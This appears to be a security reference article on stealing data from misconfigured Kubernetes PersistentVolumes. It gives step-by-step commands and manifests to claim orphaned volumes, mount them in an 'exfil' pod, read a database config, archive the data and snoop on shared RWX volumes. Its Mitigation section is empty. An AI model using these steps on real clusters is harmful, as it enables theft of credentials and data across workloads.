Persistent Volume Data Exposure
PersistentVolumes (PVs) in Kubernetes provide storage that persists beyond the lifecycle of individual pods. When improperly configured, PVs can expose sensitive data to unauthorized workloads. Common misconfigurations include using Retain reclaim policies without clearing data, allowing ReadWriteMany access modes, and failing to restrict volume access through RBAC.
Attackers who gain the ability to create pods or PersistentVolumeClaims can mount existing volumes, access data from other namespaces, or recover data from deleted workloads.
Exploitation Steps
An attacker with permissions to create pods or PVCs exploits storage misconfigurations to access sensitive data.
1. Enumerate Available PersistentVolumes
The attacker lists available PVs to identify potential targets:
kubectl get pv -o wide
Output reveals:
NAME CAPACITY ACCESS MODES RECLAIM POLICY STATUS CLAIM
database 100Gi RWO Retain Released production/db-data
logs-pv 50Gi RWX Retain Available
backups 200Gi RWO Retain Released backup/daily
Volumes with Released or Available status and Retain policy may contain data from previous workloads.
2. Claim an Orphaned PersistentVolume
The attacker creates a PVC that binds to a released PV containing sensitive data:
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: stolen-data
namespace: attacker-namespace
spec:
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 100Gi
volumeName: database
kubectl apply -f stolen-pvc.yaml
If the PV allows binding, the attacker gains access to the previous workload's data.
3. Mount the Volume and Extract Data
The attacker creates a pod that mounts the claimed volume:
apiVersion: v1
kind: Pod
metadata:
name: data-exfil
namespace: attacker-namespace
spec:
containers:
- name: extractor
image: busybox
command: ["sleep", "infinity"]
volumeMounts:
- name: stolen-volume
mountPath: /data
volumes:
- name: stolen-volume
persistentVolumeClaim:
claimName: stolen-data
kubectl apply -f exfil-pod.yaml
kubectl exec -it data-exfil -n attacker-namespace -- /bin/sh
Inside the pod, the attacker accesses the data:
ls -la /data/
cat /data/config/database.conf
tar -czf /tmp/exfil.tar.gz /data/
4. Exploit ReadWriteMany Volumes
If a PV uses ReadWriteMany (RWX) access mode, multiple pods can mount it simultaneously. The attacker creates a pod that mounts the same volume as a production workload:
apiVersion: v1
kind: Pod
metadata:
name: shared-access
namespace: attacker-namespace
spec:
containers:
- name: snooper
image: busybox
command: ["sleep", "infinity"]
volumeMounts:
- name: shared-data
mountPath: /shared
volumes:
- name: shared-data
persistentVolumeClaim:
claimName: shared-logs
The attacker can now read or modify data written by other workloads.
5. Access Data via Direct Volume Path
In cloud environments, the attacker may identify the underlying storage:
kubectl get pv database -o jsonpath='{.spec.csi.volumeHandle}'
Output: vol-0abc123def456789
Using cloud credentials obtained through other attacks, they can attach this volume directly to a compromised instance.
Result
The attacker achieves:
- Access to orphaned data from deleted workloads
- Cross-namespace data access via shared volumes
- Database credential theft from configuration files
- Data modification on RWX volumes affecting other workloads
- Compliance violations through unauthorized data access
Mitigation
References
This article is based on information from the following official sources:
- Persistent Volumes - Kubernetes Documentation
- Storage Classes - Kubernetes Documentation
- Configure a Pod to Use a PersistentVolume for Storage - Kubernetes Documentation